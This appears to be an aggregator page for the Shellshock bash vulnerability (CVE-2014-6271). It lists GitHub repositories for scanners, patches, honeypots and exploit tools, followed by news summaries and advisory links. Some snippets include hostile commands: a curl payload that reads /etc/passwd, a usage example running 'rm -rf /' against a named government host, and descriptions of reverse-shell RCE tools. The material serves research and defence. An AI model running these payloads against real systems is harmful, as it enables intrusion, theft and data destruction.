https://github.com/13gbc/Vulnerability-Analysis

Vulnerability &amp; Scripts WritesUps Welcome aboard my GitHub harbor, where a fleet of Bash scripts awaits to chart the waters of vulnerabilities in diverse systems This repository not only offers these scripts but also provides concise write-ups, acting as lighthouses to guide you through the intricate channels of significant vulnerabilities I encourage you to explore t

https://github.com/proclnas/ShellShock-CGI-Scan

A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 (The Bash Bug)

ShellShock-CGI-Scan A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 (The Bash Bug) Options: -i (local ip-address) -p (port to listen) -l (site list) -t (connection timeout) (Default: 15s) Example: $ /Scanner -i 127001 -p 31337 -l sitestxt -t 5 Starting listen in localhost on port 31337, scan sites in file

https://github.com/hanmin0512/CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271은 "Shellshock"라고 알려진 심각한 취약점으로, 2014년에 발견되어 공개된 취약점이다 이 취약점은 Bash 쉘에서 발견되어 거의 모든 Unix 및 Linux 시스템에 영향을 미치며, 인터넷 상에서 가장 널리 이해되는 취약점 중 하나이다 보안 위협 Shellshock 취약점은 Bash 쉘

https://github.com/Xandevistan/CVE-Exploit-Demonstration

CVE Exploit Demonstration

🎥 Exploit for CVE Demonstration CVE-2021-44228 (Log4Shell) 🔗Click Here CVE-2014-6271 (Shell Shock) 🔗Click Here CVE-2022-30190 (Follina) 🔗Click Here 🔎 What is CVE ? 💬 CVE is short for Common Vulnerabilities and Exposures It means publicly known information-security vulnerabilities in publicly released software packages The informaion is then assigend a CV

https://github.com/itzyezz/Security-Onion

Analyzing Output From Security Appliance Logs

Security-Onion Diagram showing the lab topology, with the SIEM1 configured to sniff traffic passing over the RT1-LOCAL router To start off this lab we log into our SIEM VM Security Onion and from the desktop we log into Sguil and select siem-eth1 In Sguil, you can see the alerts generated by sample packet captures The ST field shows a color-coded priority indicator f

https://github.com/milesbench/ShellshockScan

A scanner to identify the shellshock vulnerability in web applications

ShellshockScan Essentialy what this scanner does is send a specially crafted http header to a website, if that website gives us a 200, 201, 202, 404, 403, 301, 302, 307 or 308 error that means it has rejected our header and therefore is unlikely to be vulnerable About Shellshock CVE-2014-6271, otherwise affectionately known as Shellshock, is potentially the most devastating vu

https://github.com/dobyfreejr/Project-2

Cybersecurity Penetration Test Report Contact Information Contact Name Kyle Barbre Contact Title Sr Penetration Tester Contact Phone 8888888888 Contact Email kbarbre@ctmscom Document History Pentesting Team Author Name Title Destiny Nevarez Sr Pentester Derrik Hoke Sr Pentester Tyler Jobson Sr Pentester Ryan Bryne Sr Pentester Katie Diaz Sr

https://github.com/Tripwire/bashbug-shellshock-test

This offline tool is not supported and is provided for informational purposes only.

bashbug-shellshock-test This offline tool is not supported and is provided for informational purposes only This tool is dependent on Python 27 ''' ' ' Shellshock Test - CVE-2014-6271 ' Written by Tripwire VERT (wwwtripwirecom/vert) ' ' This offline tool is not supported and is provided for informational purposes only ' T

https://github.com/Montana/openshift-network-policies

Cluster Security for Kubernetes and OpenShift automatically scans these deployments for security risk and policy violations as soon as they are submitted to the cluster.

openshift-network-policies Cluster Security for Kubernetes and OpenShift automatically scans these deployments for security risk and policy violations as soon as they are submitted to the cluster Installing the roxctl CLI To install Red Hat Advanced Cluster Security for Kubernetes you must install the roxctl CLI by downloading the binary You can install roxctl on Linux, Windo

https://github.com/hacden/Hack

渗透相关语法 相关漏洞学习资料，利用方法和技巧合集 web常见漏洞： 注入漏洞(HTML注入/代码注入/header头注入(CRLF)/sql注入/xml注入(xxe/wsdl)) 跨站XSS漏洞、安全配置错误、登录认证缺陷、越权、敏感信息泄露 权限控制不严格、请求伪造 (CSRF)、使用了存在漏洞的组件、点击劫持、SSRF 目录 Ha

https://github.com/fedoraredteam/cyber-range-target

Ansible Role Configures Host to be a Target in a Cyber Range

cyber-range-target This role endeavors to simplify building a host for a cyber range This role is for assessment purposes only Note: This has the potential to render a host vulnerable Use with care Requirements Ansible 24 Role Variables --- # defaults file for cyber-range-target # Which CVE's should be tested on a host cves_to_test: [] selinux_state: enforcing

https://github.com/Meowmycks/OSCPprep-SickOs1.1

Performed an RCE by exploiting the "Shellshock" vulnerability and hijacked a webserver.

OSCP Prep - SickOs 11 Note: This box was completed long ago and I am going off of the VMware snapshot I saved after completion, some visuals will be missing and explained instead Objective We must go from visiting a simple website to having root access over the entire web server We'll download the VM from here and set it up with VMware Workstation 16 Once the machine i

https://github.com/IAmATeaPot418/insecure-deployments

This repo is intended to host insecure deployments for educational and demo purposes. These should never be run in privileged mode and should avoid use on public networks.

Insecure Deployment Demo Thanks Rob! We're excited to be joining the Red Hat team As we focus on Red Hat advanced cluster security we want to show you security through a different lense today We believe that security is like on onion It should have layers to it Your defensive strategy should not be broken if one control is bypassed and thats part of the beauty of the m

https://github.com/prince-7/CTF_Cheatsheet

This Repo Contains Write-UPs for all Tasks

CTF tools &amp; Resources This Repo Contains Write-UPs for all Tasks HERE ARE SOME EXTREMELY USEFUL TOOLS AND COMMANDS Forensics, Linux Tools and Commands Web Misc OSINT Basic linux tools and Commands binwalk -e : //Extracts hidden files steghide extract -sf : //Extracts hidden text in the image xxd : //Prints the Hex version of file grep "element" //finds the

https://github.com/matthewlinks/shellshock-Ansible

This is a proof-of-prinicple for patching OS X hosts for shell shock

shellshock-Ansible This is a proof-of-prinicple to show that Ansible can be used to patch BASH on OS X Specifically for CVE-2014-6271 and CVE-2014-7169 Work in this project is based off of the posting(s) of alblue - albluebandlemcom Main reference is his evolving post applestackexchangecom/questions/146849/how-do-i-recompile-bash-to-avoid-shellshock-the-remote-exploi

https://github.com/mwhahaha/ansible-shellshock

ansible-shellshock This is an ansble playbook to address the bash vulnerability in CVE-2014-6271 and CVE-2014-7169 This playbook automates the remediation items from accessredhatcom/articles/1200223 HOWTO run ansible-playbook -i &lt;hostfile&gt; bashyml -k -K Author Alex Schultz aschultz@next-developmentcom

https://github.com/mdix/OSX-bash-fix

Just run this script and it'll patch your bash. Note: Install Xcode developer tools before running it!

Check this thread on stackexchange The script has been taken from there: applestackexchangecom/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271 IMPORTANT: Install Xcode before executing the script! Usage git clone git@githubcom:mdix/OSX-bash-fixgit cd OSX-bash-fix chmod +x *sh /buildsh # If buildsh went well, your patched bash ha

https://github.com/carlosadrianosj/LAZY_NMAP_HUNTER

Este projeto tem como intuito facilitar a utilização do NMAP com um sistema mais interativo para o usuário via terminal.

LAZY_NMAP_HUNTER Este projeto tem como intuito facilitar a utilização do NMAP com um sistema mais interativo para o usuário via terminal O NMAP é uma ferramenta completa, com inúmeras funcionalidades, entretanto requer que o usuário tenha certa maestria com ele para que extraia 100% de sua capacidade, o Lazy_NMAP_Hunter vem entã

https://github.com/Meowmycks/Boot2RootCTF_OSCP-SickOs1.1

Performed an RCE by exploiting the "Shellshock" vulnerability and hijacked a webserver.

OSCP Prep - SickOs 11 Note: This box was completed long ago and I am going off of the VMware snapshot I saved after completion, some visuals will be missing and explained instead Objective We must go from visiting a simple website to having root access over the entire web server We'll download the VM from here and set it up with VMware Workstation 16 Once the machine i

https://github.com/anujbhan/shellshock-victim-host

A docker container vulnerable to Shellshock - CVE-2014-6271

shellshock-victim-host A docker container vulnerable to Shellshock - CVE-2014-6271 Run podman build -t shellshock-victim podman run -it -p 80:8080 shellshock-victim Note: Builds with docker as well The vulnerable app will be deployed on : localhost:8080/victimcgi - Vulnerable endpoint localhost:8080/safecgi - Safe endpo

https://github.com/dlitz/bash-shellshock

Wrapper for /bin/bash that mitigates 'shellshock'

bash-shellshock wrapper This is a small wrapper around /bin/bash that refuses to start bash if any environment variables start with '(' It can also be run in a log-only mode and a mode that strips these 'bad' environment variables You can install this as a temporary workaround if you don't fully trust the latest patches for CVE-2014-6271 and CVE-2014

https://github.com/fxschaefer/ejpt

TOOLS TO MASTER dirb (dirbuster) gobuster nmap hydra smbclient rpcclient enum4linux dnsdumpsterio or dnsrecon netcraftcom smbmap arp-scan wireshark dig METASPLOIT AND MSFVENOM (at least rev tcp meterpreter payload) whatweb davtest cadaver crackmapexec mimikatz / kiwi Assessment Methodologies: Information Gathering Information Gathering Information Gathering is the first s

https://github.com/RainMak3r/Rainstorm

CVE-2014-6271 RCE tool

================================================================================================ BadBash is a CVE-2014-6271 RCE exploit tool The basic version only checks for the HTTP CGI site and only provides netcat reverse shell on port 1234 Developer : Andy Yang Version : 010 License : GPLv3 ===============================================================================

https://github.com/woltage/CVE-2014-6271

CVE-2014-6271 Bash Shellshock (and Aftershock) Tester for Ansible Install Ansible docsansiblecom/intro_installationhtml Add servers to inventory file (example): username@ip Copy your public key to remote servers' ssh/authorized_keys execute test $ ansible-playbook -i inventory siteyml

https://github.com/Pwnlandia/shockpot

WebApp Honeypot for detecting Shell Shock exploit attempts

Shockpot Shockpot is a web app honeypot designed to find attackers attempting to exploit the Bash remote code vulnerability, CVE-2014-6271 Shockpot can be run as a standalone honypot or easily deployed by Modern Honey Network (MHN): githubcom/Pwnlandia/mhn Installation virtualenv env env/bin/activate pip install -r requirementstxt

https://github.com/Voxer/nagios-plugins

Plugins for nagios used by Voxer, made specifically for SmartOS

Voxer Nagios Plugins Plugins for nagios used by Voxer, made specifically for SmartOS Plugins check_shellshock Check bash for CVE-2014-6271 (shellshock) $ check_shellshock ok: bash is secure against shellshock You can pass an optional binary to check as the first argument, defaults to bash in your $PATH $ check_shellshock /bin/bash critica

https://github.com/JoaoPedroMoreira02/CVE-2014-6271

Exploitation of "Shellshock" Vulnerability. Remote code execution in Apache with mod_cgi

Shellshock Exploitation (CVE-2014-6271) "Shellshock is effectively a Remote Command Execution vulnerability in BASH" This script exploits the vulnerability in the web environment on apache or similar with mod_cgi enabled git clone githubcom/Jsmoreira02/CVE-2014-6271git [Help] Output usage: shellshock_exploitpy [-h]

https://github.com/j5inc/week9

Project 9 - Honeypots Honeypots Deployed: I used the Modern Honey Network (MHN) to complete the assignment for Week 9 In total, I created five Ubuntu 1404 honeypots All of the honeypots, including the MHN admin web application, were hosted in the Google Cloud Honeypots: Ubuntu 1404- Dionaea with HTTP: Goal is to trap malware that exploits vulnerabilties in an exposed net

https://github.com/thydel/ar-fix-bash-bug

Update bash on lenny and later debian after shellshock

fix-bash-bug Update bash on lenny and later debian after shellshock Simple update for debian stable Add squeeze-lts repository for previous stable (should have already been there) Compile bash from source for previous previous stable (only tested with lenny) Up to patchlvel 54 for CVE-2014-7169 Up to patchlvel 55 Compile bash 32 from source for Debian Lenny to patch CVE-2014

https://github.com/hecticSubraz/Network-Security-and-Database-Vulnerabilities

I will be learning and updating documentation consistently on Network Security and Database Vulnerabilities

30 days of Network security and Database vulnerabilities I will be learning Network security and Database vulnerabilities for 30 days and I will be updating daily about my progress and understanding Day 1 Day 2 Day 3 Day 4 Day 5 Day 6 Day 7 Day 8 Day 9 Day 10 Day 11 Day 12 Day 13 Day 14 Day 15 Day 16 Day 17 Day 18 Day 19 Day 20 Day 21 Day 22 Day 23 Day 24 Day 25 Day 26 Day 27

https://github.com/Dilith006/CVE-2014-6271

CVE-2014-6271

https://github.com/MuirlandOracle/CVE-2014-6271

CVE-2014-6271 Python implementation of CVE-2014-6271: IP Fire (&lt;=215) ShellShock RCE Based on the Metasploit module for the same exploit (EDB ID: 34839) Exploit is automatic See /CVE-2014-6271py --help for a full range of switches Warning: The code in this repository may be used for academic/ethical purposes only The author does not condone the use of this exploit f

https://github.com/mochizuki875/CVE-2014-6271-Apache-Debian

This Repo is PoC environment of CVE-2014-6271(https://nvd.nist.gov/vuln/detail/cve-2014-6271).

CVE-2014-6271-Apache-Debian Overview This Repo is PoC environment of CVE-2014-6271 You can deploy web service including vulernability using apache2 container image Preparation Image Build Build insecure image from Dockerfile # docker build -t cve-2014-6271-apache-debian:buster /insecure-base-image/ # docker build -t training-website-poc:v10 /web-insecure/

https://github.com/cved-sources/cve-2014-6271

cve-2014-6271

CVE-2014-6271 This is part of Cved: a tool to manage vulnerable docker containers Cved: githubcom/git-rep-src/cved Image source: githubcom/cved-sources/cve-2014-6271 Image author: githubcom/Medicean/VulApps/tree/master/b/bash/shellshock1_CVE-2014-6271

https://github.com/justzx2011/bash-up

a auto script to fix CVE-2014-6271 bash vulnerability

bash-up a auto script to fix CVE-2014-6271 bash vulnerability

https://github.com/prashanth-sams/security-threats

Real time analysis of information security vulnerabilities

Security Threats and Analysis Real-time analysis of information security vulnerabilities Threat Name CVE-2014-6271 ShellShock

https://github.com/francisck/shellshock-cgi

A python script to enumerate CGI scripts vulnerable to CVE-2014-6271 on one specific server

shellshock-cgi A python script to enumerate CGI scripts vulnerable to CVE-2014-6271 on one specific server Usage $ python testingpy --server 17216255130 --listen 172162551 ##Example Return: [+] Testing if 17216255130 is vulnerable to CVE-2014-6271 via CGI [+] Listening for incoming connections on the following socket 17216255

https://github.com/Horovtom/BSY-bonus

Bonus assignment for BSY

Bonus assignment Author: Tomáš Hořovský Email: horovtom@felcvutcz This was the final bonus assignment for the BSY course at ČVUT Prague As an entry point for this assignment, we got a pcap file and an IP address of submission server Part 1 First, I went to the submission server and entered some random data to get all the different questions: What is

https://github.com/teedeedubya/bash-fix-exploit

Ansible role to check the CVE-2014-6271 vulnerability

bash-fix-exploit A tiny role that checks to see if the CVE-2014-6271 exploit is still valid Use at your own risk Read about the exploit here: communityrapid7com/community/infosec/blog/2014/09/25/bash-ing-into-your-network-investigating-cve-2014-6271 Requirements Assumes that you're using bash as your shell Role Variables update_bash - defaults to "no

https://github.com/TheRipperJhon/Evil-Shock

Aprovechar muchos métodos de inyección para shellshock.

Evil-Shock Description Evil-Shock is a powerful tool made to exploit Shellshock, what's special with Evil-Shock is that it doesn't base his attacks on one parameter, example another tool might inject a simple "echo Vulnerable" and see if the server executes that In many case the server wont execute that command but can execute another command ;) Evil-Shock

https://github.com/gabemarshall/shocknaww

Simple script to check for CVE-2014-6271

shocknaww Simple script to check for CVE-2014-6271 Example Usage /shocknawwpy foobar/cgi-bin/foo Sample vulnerable environment From the parent directory, run the following python -m CGIHTTPServer Now use shocknaww against your localhost test server /shocknawwpy 127001:8000/te

https://github.com/nodenica/node-shellshock

CLI tool to check via node.js if you have a vulnerable bash Shellshock

CLI tool to check via nodejs if you have a vulnerable bash Shellshock (CVE-2014-6271) Install npm install shellshock -g Execute shellshock Output ✗ vulnerable bash or ✓ bash not vulnerable Contributors neydroid

https://github.com/ricedu/bash-4.2-patched

Detailed description and usage, see: weibocom/1363173330/BoKSHl0YE CVE-2014-6271 CVE-2014-7169 remote code execution through bash twittercom/taviso/status/514887394294652929 官方补丁不靠谱，这个修复了绕过问题。 成功patch了bash 42 版本

https://github.com/dhaval17/ShellShock

ShellShock Test

Shellshock Test ShellShock test checks for the recent CVE-2014-6271 Live : wwwdr4cun0com/shellshock/ Prerequisites : Apache Server running php If you want to use my proxy,contact me Questions and suggestions can be sent to : dhaval(at)dr4cun0com

https://github.com/w4fz5uck5/ShockZaum-CVE-2014-6271

Shellshock vulnerability attacker

CVE-2014-6271 Script to attack shellshock vulnerability [!] Usage: /ShockZaum -u 'nasagov' -c 'rm -rf /' -p '/cgi-bin/alienscgi'

https://github.com/Pilou-Pilou/docker_CVE-2014-6271.

docker_CVE-2014-6271 docker build -t DOCKERIMAGENAME /path/to/dockerfile_directory docker run -it -d -p 8080:80 DOCKERIMAGENAME verify execution with: docker ps verify web server execution: localhost:8080 exploit vulnerability : curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \localhost:8080/cgi-bin/vulnerable

https://github.com/ulisesrc/ShellShock

ss-6271 Shell Shock CVE-6271 test script This quickly-written script comes pre-packed with the October 2015 release update of Weakerthan Linux 6 I coded it after taking the Pentesterlab's course on CVE-6271 Shell Shock: (pentesterlabcom/exercises/cve-2014-6271/course) dependencies gnome-terminal nc Bash

https://github.com/ilismal/Nessus_CVE-2014-6271_check

Quick and dirty nessus .audit file to check is bash is vulnerable to CVE-2014-6271

Nessus_CVE-2014-6271_check Quick and dirty nessus audit file to check is bash is vulnerable to CVE-2014-6271

https://github.com/rashmikadileeshara/CVE-2014-6271-Shellshock-

This is an individual assignment for secure network programming

CVE-2014-6271-Shellshock- This is an individual assignment for secure network programming

https://github.com/mattclegg/CVE-2014-6271

CVE-2014-6271 An automated way to fix bash Testing for the Vulnerability You can determine if you are vulnerable by executing this test: env x='() { :;}; echo vulnerable' bash -c 'echo hello' Fixing Vulnerability Run this on the command line You may be prompted to enter your password bash &lt;( curl -s rawgithubusercontentcom/mattclegg/CVE-20

https://github.com/DarkenCode/PoC

PoC collection

PoC Collection Index CVE-2014-4114 -- PowerPoint RCE CVE-2014-6271 -- Shell Shock CVE-2014-6332 -- VBScript RCE in IE CVE-2015-1328 -- Ubuntu local root exploit

https://github.com/AciddSatanist/shellshocker.sh

shellshockersh This is ShellScript for CVE-2014-6271 ReverseShell

https://github.com/ramnes/pyshellshock

😱 Python library and utility for CVE-2014-6271 (aka. "shellshock")

pyshellshock Python library and utility for CVE-2014-6271

https://github.com/abdullaah019/splunkinvestigation4

Splunk Investigation 4 Lab Description Security Information and Event Monitoring Using Splunk SIEM Lab) Splunk Investigation 4 Solution Languages and Utilities Used PowerShell Splunk Environments Used Windows 10 Program walk-through Splunk Investigation 4 Certification of completion Question 1 - Click on Dashboards and go to Splunk Investigation 4 How many Suricata

https://github.com/ksang/shellshock

CVE 2014-6271 PoC Tool by kaitoY

CVE 2014-6271 PoC Tool by kaitoY kaitoy@qqcom Usage: shellshockpy -u &lt;url&gt; test shellshockpy -u &lt;url&gt; exec -c &lt;command&gt; shellshockpy -u &lt;url&gt; get Manual commands: curl -i -X HEAD "&lt;url&gt;" -A '() { :;}; echo "Warning: Server Vulnerable"'

https://github.com/unixorn/shellshock-patch-osx

This will download Apple's bash source, patch it, build it, and create a pkg file for you

shellshock-patch-osx This will download Apple's bash source, patch it, build it, and create a pkg file for you, then optionally wrap it in a dmg or zip file to make distributing it easier This applies the following patches: bash32-052 - CVE-2014-6271 (aka shellshock) bash32-053 - CVE-2014-7169 (aka aftershock) bash32-054 - CVE-2014-6277 (another bash bug) Pre-requisites

https://github.com/jj1bdx/bash-3.2-osx-fix

OS X bash-3.2 fix (with import-functions patch)

bash-32 for OS X 109 and 1010 NOTE WELL: This software is not applicable to 1011 unless disabling the File System Protections GNU bash for OS X Current version: 3257 NOTE: EXPERIMENTAL: functions from environment variables are NOT imported as default when the import-functions option is compiled The master branch has this option enabled, for better security You can v

https://github.com/Ratlesv/Shock

⚡ &nbsp; xShock ShellShock &nbsp; ⚡ Written by TMRSWRR Version 100 xShock ShellShock (CVE-2014-6271) This tool exploits shellshock Instagram: TMRSWRR 🖼️ Screenshots 🖼️ 📹 How to use 📹 Click on the image 📒 Read Me 📒 All founded directories will be saved in vulnurltxt file The results of the executed commands are saved in respons

https://github.com/riikunn1004/oscp-cheatsheet

OSCP CheatSheet

oscp-cheatsheet This repository describes cheat sheet and knowledge for OSCP Contents Table of Contents Enumeration Network nmap Example Options RustNmap Windows Privilege Escalation PowerUpps1 Scan SeImpersonatePrivilege PrintSpoofer Linux Privilege Escalation LinPEAS pspy Password Cracking hydra Example John the ripper Example hashcat Webpages H

https://github.com/ehackify/shockpot

Shockpot Shockpot is a web app honeypot designed to find attackers attempting to exploit the Bash remote code vulnerability, CVE-2014-6271 Shockpot can be run as a standalone honypot or easily deployed by Modern Honey Network (MHN): githubcom/Pwnlandia/mhn Installation virtualenv env env/bin/activate pip install -r requirementstxt

https://github.com/MuirlandOracle/CVE-2014-6271-IPFire

CVE-2014-6271 Python implementation of CVE-2014-6271: IP Fire (&lt;=215) ShellShock RCE Based on the Metasploit module for the same exploit (EDB ID: 34839) Exploit is automatic See /CVE-2014-6271py --help for a full range of switches Warning: The code in this repository may be used for academic/ethical purposes only The author does not condone the use of this exploit f

https://github.com/the-emmon/IPFire-RCE-exploit

IPFire authenticated RCE, rewritten for Python 3.

CVE-2014-6271 IPFire authenticated RCE, rewritten for Python 3

Recent Articles

IT threat evolution Q3 2014
Securelist • David Emm Maria Garnaeva Victor Chebyshev Roman Unuchek Denis Makrushin Anton Ivanov • 18 Nov 2014

PDF version In July we published our in-depth analysis into a targeted attack campaign that we dubbed ‘Crouching Yeti’. This campaign is also known as ‘Energetic Bear’. This campaign, which has been active since late 2010, has so far targeted the following sectors:  industrial/machinery, manufacturing, pharmaceutical, construction, education and information technology.  So far there have been more than 2,800 victims worldwide, and we have been able to identify 101 different organisatio...

Read more...
VXers Shellshocking embedded BusyBox boxen
The Register • Darren Pauli • 17 Nov 2014

It's 2014 and some people are still using default user names and passwords

Malware writers have crafted new wares to attack embedded devices running BusyBox and not yet patched against the ShellShock vulnerability, researcher Rhena Inocencio says. Miscreants' tool of choice for such attacks is malware called "Bashlite" that, once executed on a victim machine, probes for devices such as routers and Android phones running BusyBox to brute force logins through a preset list of usernames and passwords. Trend Micro's Inocencio said the variant would download and run bin.sh ...

Read more...
Third patch brings more admin Shellshock for the battered and Bashed
The Register • Darren Pauli • 30 Sep 2014

'Okay we got it THIS time'

A third patch, from Red Hat engineer Florian Weimer, has been released for the vulnerable Bash Unix command-line interpreter, closing off flaws found in two previous fixes. Weimer's unofficial fix was adopted upstream by Bash project maintainer Chet Ramey and released as Bash-4.3 Official Patch 27 (bash43-027) which addressed a bunch of previously undisclosed flaws including two remote exploit bugs. The first patch (CVE-2014-6271) released Wednesday when the Shellshock flaw dropped was rapidly b...

Read more...
SHELLSHOCKED: Fortune 1000 outfits Bash out batches of patches
The Register • John Leyden • 29 Sep 2014

CloudPassage points to 'pervasive' threat of Bash bug

The majority of Fortune 1000 and Global 2000 companies have already deployed, or are now deploying, Shellshock patches to fend off code attacks, according to cloud security firm CloudPassage. The Shellshock vulnerability allows remote attackers to execute arbitrary code on servers using a variety of techniques, with the CVE-2014-6271 weakness in the Bourne-Again Shell (Bash) affecting most Unix and Linux-based systems. "The Shellshock vulnerability is one of the most pervasive threats we’ve se...

Read more...
Oracle SHELLSHOCKER - data titan lists unpatchables
The Register • Neil McAllister in San Francisco • 27 Sep 2014

Database kingpin lists 32 products that can't be patched (yet) as GNU fixes second vuln

Oracle has confirmed that at least 32 of its products are affected by the vulnerability recently discovered in the Bash command-line interpreter – aka the "Shellshock" bug – including some of the company's pricey integrated hardware systems. The database giant issued a security alert regarding the issue on Friday, warning that many Oracle customers will have to wait awhile longer to receive patches. "Oracle is still investigating this issue and will provide fixes for affected products as soo...

Read more...
Shellshock and its early adopters
Securelist • Stefan Ortloff • 26 Sep 2014

Shortly after disclosure of the Bash bug called “Shellshock” we saw the first attempts by criminals to take advantage of this widespread vulnerability also known as CVE-2014-6271. The most recent attempts we see to gain control of webservers just create a new instance of bash and redirect it to a remote server listening on a specific TCP port. This is also known as a reverse-connect-shell. Here’s an example of how this attack appears in a webserver logfile: The attacker listens on IP ...

Read more...
Stunned by Shellshock Bash bug? Patch all you can – or be punished
The Register • John Leyden • 26 Sep 2014

UK data watchdog rolls up its sleeves, polishes truncheon

Updated The UK's privacy watchdog is urging organisations to protect their systems against the infamous Shellshock vulnerability in Bash – even though the full scope of the security bug remains unclear. The Shellshock flaw affects Bash up to and including version 4.3. It's a vital component of many Linux and Unix systems, as well as networking kit and embedded devices. It's also present in the latest versions of Apple's OS X for Macs. The flaw allows hackers to execute arbitrary code smuggled ...

Read more...
“Bash” (CVE-2014-6271) vulnerability – Q&A
Securelist • GReAT • 25 Sep 2014

The “bash” vulnerability, actually described as CVE-2014-6271, is an extremely powerful vulnerability due to its high impact and the ease with which it can be exploited. An attacker can simply execute system level commands, with the same privileges as the affected services. In most of the examples on the Internet right now, attackers are remotely attacking web servers hosting CGI scripts that have been written in bash or pass values to shell scripts. At the time of writing, the vulnerability...

Read more...
Hackers thrash Bash Shellshock bug: World races to cover hole
The Register • John Leyden • 25 Sep 2014

Update your gear now to avoid early attacks hitting the web

Sysadmins and users have been urged to patch the severe Shellshock vulnerability in Bash on Linux and Unix systems – as hackers ruthlessly exploit the flaw to compromise or crash computers. But as "millions" of servers, PCs and devices lay vulnerable or are being updated, it's emerged the fix is incomplete. The flaw affects the GNU Bourne Again Shell – better known as Bash – which is a widely installed command interpreter used by many Linux and Unix operating systems – including Apple's ...

Read more...
Patch Bash NOW: 'Shellshock' bug blasts OS X, Linux systems wide open
The Register • John Leyden • 24 Sep 2014

CGI scripts to DHCP clients hit by Heartbleed-grade remote-code exec vuln

Updated A bug discovered in the widely used Bash command interpreter poses a critical security risk to Unix and Linux systems – and, thanks to their ubiquity, the internet at large. It lands countless websites, servers, PCs, OS X Macs, various home routers, and more, in danger of hijacking by hackers. The vulnerability is present in Bash up to and including version 4.3, and was discovered by Stephane Chazelas. It puts Apache web servers, in particular, at risk of compromise: CGI scripts that u...

Read more...

References

CWE-78https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/https://bugzilla.redhat.com/show_bug.cgi?id=1141597http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1293.htmlhttp://www.us-cert.gov/ncas/alerts/TA14-268Ahttp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bashhttp://rhn.redhat.com/errata/RHSA-2014-1294.htmlhttp://www.debian.org/security/2014/dsa-3032http://rhn.redhat.com/errata/RHSA-2014-1295.htmlhttp://www.ubuntu.com/usn/USN-2362-1http://www.kb.cert.org/vuls/id/252743https://www.suse.com/support/shellshock/http://support.novell.com/security/cve/CVE-2014-6271.htmlhttp://secunia.com/advisories/61676http://www.novell.com/support/kb/doc.php?id=7015701https://kb.bluecoat.com/index?page=content&id=SA82http://support.apple.com/kb/HT6495http://secunia.com/advisories/61641http://secunia.com/advisories/59737http://secunia.com/advisories/61700http://lists.opensuse.org/opensuse-security-announce/2014-09/msg00040.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00034.htmlhttp://marc.info/?l=bugtraq&m=141216207813411&w=2http://marc.info/?l=bugtraq&m=141216668515282&w=2http://lists.opensuse.org/opensuse-security-announce/2014-09/msg00044.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00049.htmlhttp://secunia.com/advisories/61485http://secunia.com/advisories/59907http://secunia.com/advisories/61654http://www-01.ibm.com/support/docview.wss?uid=swg21685749http://packetstormsecurity.com/files/128567/CA-Technologies-GNU-Bash-Shellshock.htmlhttp://marc.info/?l=bugtraq&m=141235957116749&w=2http://www.novell.com/support/kb/doc.php?id=7015721http://secunia.com/advisories/61565http://www.vmware.com/security/advisories/VMSA-2014-0010.htmlhttp://secunia.com/advisories/61643http://secunia.com/advisories/61503http://secunia.com/advisories/61711https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10648http://secunia.com/advisories/61715http://www.oracle.com/technetwork/topics/security/bashcve-2014-7169-2317675.htmlhttp://secunia.com/advisories/61633http://marc.info/?l=bugtraq&m=141319209015420&w=2http://secunia.com/advisories/61552http://www-01.ibm.com/support/docview.wss?uid=swg21685914http://secunia.com/advisories/61703http://seclists.org/fulldisclosure/2014/Oct/0http://secunia.com/advisories/61283http://www-01.ibm.com/support/docview.wss?uid=isg3T1021272http://secunia.com/advisories/61603http://packetstormsecurity.com/files/128517/VMware-Security-Advisory-2014-0010.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-10/msg00004.htmlhttp://secunia.com/advisories/60947http://www-01.ibm.com/support/docview.wss?uid=swg21686084https://support.apple.com/kb/HT6535http://secunia.com/advisories/61188http://marc.info/?l=bugtraq&m=141345648114150&w=2http://archives.neohapsis.com/archives/bugtraq/2014-10/0101.htmlhttp://marc.info/?l=bugtraq&m=141330425327438&w=2http://marc.info/?l=bugtraq&m=141330468527613&w=2https://support.citrix.com/article/CTX200217http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004879http://secunia.com/advisories/60034http://secunia.com/advisories/61816http://secunia.com/advisories/61128http://secunia.com/advisories/61313http://www-01.ibm.com/support/docview.wss?uid=swg21685733http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004898http://secunia.com/advisories/61442http://secunia.com/advisories/61287https://support.citrix.com/article/CTX200223http://www-01.ibm.com/support/docview.wss?uid=isg3T1021279http://secunia.com/advisories/60055http://secunia.com/advisories/61129http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004897http://secunia.com/advisories/61780http://www-01.ibm.com/support/docview.wss?uid=swg21686479http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5096315http://www-01.ibm.com/support/docview.wss?uid=swg21685541https://support.f5.com/kb/en-us/solutions/public/15000/600/sol15629.htmlhttp://secunia.com/advisories/61471http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004915http://packetstormsecurity.com/files/128573/Apache-mod_cgi-Remote-Command-Execution.htmlhttp://secunia.com/advisories/58200http://secunia.com/advisories/61328http://secunia.com/advisories/61857http://secunia.com/advisories/60193http://www-01.ibm.com/support/docview.wss?uid=swg21685604http://secunia.com/advisories/61065http://secunia.com/advisories/61550http://secunia.com/advisories/61855http://secunia.com/advisories/60325http://www-01.ibm.com/support/docview.wss?uid=swg21686131http://secunia.com/advisories/61312http://www-01.ibm.com/support/docview.wss?uid=swg21686494http://secunia.com/advisories/60044http://www-01.ibm.com/support/docview.wss?uid=swg21686445http://www-01.ibm.com/support/docview.wss?uid=swg21687079http://www-01.ibm.com/support/docview.wss?uid=isg3T1021361http://secunia.com/advisories/60024http://secunia.com/advisories/60063http://secunia.com/advisories/61291http://www-01.ibm.com/support/docview.wss?uid=swg21686246https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk102673&src=securityAlertshttp: